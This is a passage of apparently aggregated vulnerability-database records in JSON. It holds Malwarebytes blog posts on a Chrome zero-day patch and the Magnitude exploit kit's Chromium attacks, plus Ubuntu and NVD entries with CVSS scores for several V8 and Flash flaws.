method is to have Chrome open the page **chrome://settings/help** which you can also find by clicking **Settings > About Chrome**.\n\nIf there is an update available, Chrome will notify you and start downloading it. Then it will tell you all you have to do to complete the update is relaunch the browser.\n\n## Microsoft Edge\n\nMicrosoft has [confirmed](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-1096>) that Edge, a Chromium-based browser, is also affected by this vulnerability. Edge users should urgently update their browsers to version 99.0.1150.55, which is not vulnerable to the flaw.\n\nThe post [Update now! Google releases emergency patch for Chrome zero-day used in the wild](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2022/03/update-now-google-releases-emergency-patch-for-chrome-zero-day-used-in-the-wild/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {}, "published": "2022-03-28T13:42:54", "type": "malwarebytes", "title": "Update now! Google releases emergency patch for Chrome zero-day used in the wild", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2022-1096"], "modified": "2022-03-28T13:42:54", "id": "MALWAREBYTES:3203C761121FB47FC676CC2505B4A9FD", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2022/03/update-now-google-releases-emergency-patch-for-chrome-zero-day-used-in-the-wild/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-10-21T14:41:47", "description": "Exploit kits (EK) are not as widespread as they used to be. One of the reasons is likely that most exploit kits targeted software that is hardly ever used anymore. Internet Explorer, Silverlight, and Flash Player to name a few, have been deprecated, replaced, and quickly lost their user-base.\n\nSo, just when you start thinking there is one less threat to worry much about, researchers have found an exploit kit with a keen interest in Chrome. Which, from a business point of view, makes a lot of sense, since Chrome is close to becoming not just a market leader, but almost a monopolist in the browser market.\n\nChrome has, at the time of writing, a market share of around 65%. The only other browser that reaches a market share that is over 10% is Safari. So if you are in the business of compromising browsers that visit your website or watch your advertisement, having Chrome users on your target list is a big plus.\n\nOr, as Malwarebytes' Director of Threat Intelligence, J\u00e9r\u00f4me Segura, put it:\n\n> "The future of exploit kits is via Chrome exploits. This could either be an anomaly or the beginning of a new era with big implications for the years to come."\n\n### Magnitude EK\n\nEnter the Magnitude exploit kit. [Researchers](<https://twitter.com/AvastThreatLabs/status/1450476708939767815>) have found that the Magnitude EK is actively using two vulnerabilities to exploit Chromium-based browsers. Magnitude is used in malvertising attacks to infect victims who visit compromised websites and its payload of choice is the [Magniber ransomware](<https://blog.malwarebytes.com/threat-analysis/2018/07/magniber-ransomware-improves-expands-within-asia/>). \n\n### The vulnerabilities\n\n[CVE-2021-21224](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21224>) is described as a type confusion in V8 in Google Chrome prior to 90.0.4430.85 which allows a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. V8 is Google's open source high-performance JavaScript and WebAssembly engine. This vulnerability was [patche](<https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop_20.html>)[d in April](<https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop_20.html>).\n\n[CVE-2021-31956](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31956>) is a Windows NTFS Elevation of Privilege (EoP) vulnerability. This vulnerability can be used in combination with CVE-2021-21224 to escape the Chromium sandbox. This vulnerability was [patched in June](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31956>).\n\n### PuzzleMaker\n\nPractically the same combination of vulnerabilities [was described in June](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/06/microsoft-fixes-seven-zero-days-including-two-puzzlemaker-targets-google-fixes-serious-android-flaw/>) when Microsoft fixed seven zero-days, including the CVE-2021-131956 we mentioned earlier. Back then, the attacker using these vulnerabilities was dubbed PuzzleMaker. At the time it was unknown which Chrome vulnerability was used by the attacker, but it's highly likely that it was the same as Magnitude has been found leveraging now.\n\n### Payload\n\nThere is no malicious payload attached to the Magnitude exploits yet, the attack just exfiltrates the victim's Windows build number. But reportedly, this is Magnitude EK\u2019s standard procedure to test out new exploits, so this could change quickly if they start to see positive results.\n\n### How to protect yourself\n\nIt is only on rare occasions that we write about vulnerabilities and then tell you there isn\u2019t much to worry about. But in this case, the only people that have anything to worry about are Windows users that browse the web using Chrome or Chromium based browsers (like Edge), but have disabled its automatic updates and haven\u2019t updated since April. You would also have to run on a non-updated Windows system since June, or run Chrome with the _-no-sandbox _switch (not recommended). And even then all that would happen if you ran across the Magnitude EK (which usually focuses on South Korea) is getting fingerprinted.\n\nBut you do understand that you should update your OS and browser nonetheless, right?\n\n### Enable automatic updates\n\nIf you want to save yourself the trouble of manually installing updates, there are a few things you can do. For Google Chrome (under Windows) you can choose this page as one of the tabs that opens when you run the browser: _chrome://settings/help_. If there has been an update since the last time you closed your browser, this page will alert you and initiate a download of the update.\n\nIn Windows 10 you can select the Start button, then select _Settings > Update & security > Windows Update_. Select _Advanced options_, and then under _Choose how updates are installed_, select _Automatic (recommended)_.\n\nStay safe, everyone!\n\nThe post [Chrome targeted by Magnitude exploit kit](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/10/magnitude-ek-has-been-spotted-targeting-the-chrome-browser/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-21T12:47:42", "type": "malwarebytes", "title": "Chrome targeted by Magnitude exploit kit", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-131956", "CVE-2021-21224", "CVE-2021-31956"], "modified": "2021-10-21T12:47:42", "id": "MALWAREBYTES:3322D6B92554507E3E44D06E2BA5E174", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/10/magnitude-ek-has-been-spotted-targeting-the-chrome-browser/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "ubuntucve": [{"lastseen": "2023-12-03T13:53:44", "description": "Type confusion in V8 in Google Chrome prior to 90.0.4430.85 allowed a\nremote attacker to execute arbitrary code inside a sandbox via a crafted\nHTML page.\n\n#### Bugs\n\n * <http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=987358>\n\n\n#### Notes\n\nAuthor| Note \n---|--- \n[alexmurray](<https://launchpad.net/~alexmurray>) | The Debian chromium source package is called chromium-browser in Ubuntu \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | starting with Ubuntu 19.10, the chromium-browser package is just a script that installs the Chromium snap\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-26T00:00:00", "type": "ubuntucve", "title": "CVE-2021-21224", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21224"], "modified": "2021-04-26T00:00:00", "id": "UB:CVE-2021-21224", "href": "https://ubuntu.com/security/CVE-2021-21224", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T13:48:00", "description": "Type Confusion in V8 in Google Chrome prior to 91.0.4472.164 allowed a\nremote attacker to potentially exploit heap corruption via a crafted HTML\npage.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[alexmurray](<https://launchpad.net/~alexmurray>) | The Debian chromium source package is called chromium-browser in Ubuntu \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | starting with Ubuntu 19.10, the chromium-browser package is just a script that installs the Chromium snap\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-08-03T00:00:00", "type": "ubuntucve", "title": "CVE-2021-30563", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30563"], "modified": "2021-08-03T00:00:00", "id": "UB:CVE-2021-30563", "href": "https://ubuntu.com/security/CVE-2021-30563", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T13:43:37", "description": "Inappropriate implementation in V8 in Google Chrome prior to 95.0.4638.69\nallowed a remote attacker to potentially exploit heap corruption via a\ncrafted HTML page.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[alexmurray](<https://launchpad.net/~alexmurray>) | The Debian chromium source package is called chromium-browser in Ubuntu \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | starting with Ubuntu 19.10, the chromium-browser package is just a script that installs the Chromium snap\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-23T00:00:00", "type": "ubuntucve", "title": "CVE-2021-38003", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38003"], "modified": "2021-11-23T00:00:00", "id": "UB:CVE-2021-38003", "href": "https://ubuntu.com/security/CVE-2021-38003", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T13:49:51", "description": "Type confusion in V8 in Google Chrome prior to 91.0.4472.101 allowed a\nremote attacker to potentially exploit heap corruption via a crafted HTML\npage.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[alexmurray](<https://launchpad.net/~alexmurray>) | The Debian chromium source package is called chromium-browser in Ubuntu \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | starting with Ubuntu 19.10, the chromium-browser package is just a script that installs the Chromium snap\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-15T00:00:00", "type": "ubuntucve", "title": "CVE-2021-30551", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30551"], "modified": "2021-06-15T00:00:00", "id": "UB:CVE-2021-30551", "href": "https://ubuntu.com/security/CVE-2021-30551", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T13:45:02", "description": "Use after free in V8 in Google Chrome prior to 94.0.4606.71 allowed a\nremote attacker to potentially exploit heap corruption via a crafted HTML\npage.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[alexmurray](<https://launchpad.net/~alexmurray>) | The Debian chromium source package is called chromium-browser in Ubuntu \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | starting with Ubuntu 19.10, the chromium-browser package is just a script that installs the Chromium snap\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-08T00:00:00", "type": "ubuntucve", "title": "CVE-2021-37975", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37975"], "modified": "2021-10-08T00:00:00", "id": "UB:CVE-2021-37975", "href": "https://ubuntu.com/security/CVE-2021-37975", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T13:56:47", "description": "Heap buffer overflow in V8 in Google Chrome prior to 88.0.4324.150 allowed\na remote attacker to potentially exploit heap corruption via a crafted HTML\npage.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[alexmurray](<https://launchpad.net/~alexmurray>) | The Debian chromium source package is called chromium-browser in Ubuntu \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | starting with Ubuntu 19.10, the chromium-browser package is just a script that installs the Chromium snap\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-02-09T00:00:00", "type": "ubuntucve", "title": "CVE-2021-21148", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2021-02-09T00:00:00", "id": "UB:CVE-2021-21148", "href": "https://ubuntu.com/security/CVE-2021-21148", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T13:45:06", "description": "Use after free in Indexed DB API in Google Chrome prior to 93.0.4577.82\nallowed a remote attacker who had compromised the renderer process to\npotentially perform a sandbox escape via a crafted HTML page.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[alexmurray](<https://launchpad.net/~alexmurray>) | The Debian chromium source package is called chromium-browser in Ubuntu \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | starting with Ubuntu 19.10, the chromium-browser package is just a script that installs the Chromium snap\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-10-08T00:00:00", "type": "ubuntucve", "title": "CVE-2021-30633", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30633"], "modified": "2021-10-08T00:00:00", "id": "UB:CVE-2021-30633", "href": "https://ubuntu.com/security/CVE-2021-30633", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T13:39:34", "description": "Use after free in V8 in Google Chrome prior to 96.0.4664.110 allowed a\nremote attacker to potentially exploit heap corruption via a crafted HTML\npage.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[alexmurray](<https://launchpad.net/~alexmurray>) | The Debian chromium source package is called chromium-browser in Ubuntu \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | starting with Ubuntu 19.10, the chromium-browser package is just a script that installs the Chromium snap\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-02-11T00:00:00", "type": "ubuntucve", "title": "CVE-2021-4102", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-4102"], "modified": "2022-02-11T00:00:00", "id": "UB:CVE-2021-4102", "href": "https://ubuntu.com/security/CVE-2021-4102", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T13:34:18", "description": "Type confusion in V8 in Google Chrome prior to 99.0.4844.84 allowed a\nremote attacker to potentially exploit heap corruption via a crafted HTML\npage.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[alexmurray](<https://launchpad.net/~alexmurray>) | The Debian chromium source package is called chromium-browser in Ubuntu \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | starting with Ubuntu 19.10, the chromium-browser package is just a script that installs the Chromium snap\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-07-23T00:00:00", "type": "ubuntucve", "title": "CVE-2022-1096", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-1096"], "modified": "2022-07-23T00:00:00", "id": "UB:CVE-2022-1096", "href": "https://ubuntu.com/security/CVE-2022-1096", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T15:01:09", "description": "Adobe Flash Player before 13.0.0.277 and 14.x through 17.x before\n17.0.0.134 on Windows and OS X and before 11.2.202.451 on Linux allows\nattackers to execute arbitrary code by leveraging an unspecified \"type\nconfusion,\" a different vulnerability than CVE-2015-0336.", "cvss3": {}, "published": "2015-03-13T00:00:00", "type": "ubuntucve", "title": "CVE-2015-0334", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-0334", "CVE-2015-0336"], "modified": "2015-03-13T00:00:00", "id": "UB:CVE-2015-0334", "href": "https://ubuntu.com/security/CVE-2015-0334", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-03T15:01:09", "description": "Adobe Flash Player before 13.0.0.277 and 14.x through 17.x before\n17.0.0.134 on Windows and OS X and before 11.2.202.451 on Linux allows\nattackers to execute arbitrary code by leveraging an unspecified \"type\nconfusion,\" a different vulnerability than CVE-2015-0334.", "cvss3": {}, "published": "2015-03-13T00:00:00", "type": "ubuntucve", "title": "CVE-2015-0336", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-0334", "CVE-2015-0336"], "modified": "2015-03-13T00:00:00", "id": "UB:CVE-2015-0336", "href": "https://ubuntu.com/security/CVE-2015-0336", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "cve": [{"lastseen": "2023-12-03T15:43:53", "description": "Inappropriate implementation in V8 in Google Chrome prior to 95.0.4638.69 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-23T22:15:00", "type": "cve", "title": "CVE-2021-38003", "cwe": ["CWE-755"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38003"], "modified": "2023-11-07T03:37:00", "cpe": ["cpe:/o:fedoraproject:fedora:34", "cpe:/o:debian:debian_linux:10.0", "cpe:/o:debian:debian_linux:11.0"], "id": "CVE-2021-38003", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-38003", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*"]}, {"lastseen": "2023-12-03T15:12:22", "description": "Type Confusion in V8 in Google Chrome prior to 91.0.4472.164 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-08-03T19:15:00", "type": "cve", "title": "CVE-2021-30563", "cwe": ["CWE-843"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30563"], "modified": "2021-08-09T16:43:00", "cpe": [], "id": "CVE-2021-30563", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-30563", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": []}, {"lastseen": "2023-12-03T14:33:16", "description": "Heap buffer overflow in V8 in Google Chrome prior to 88.0.4324.150 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": 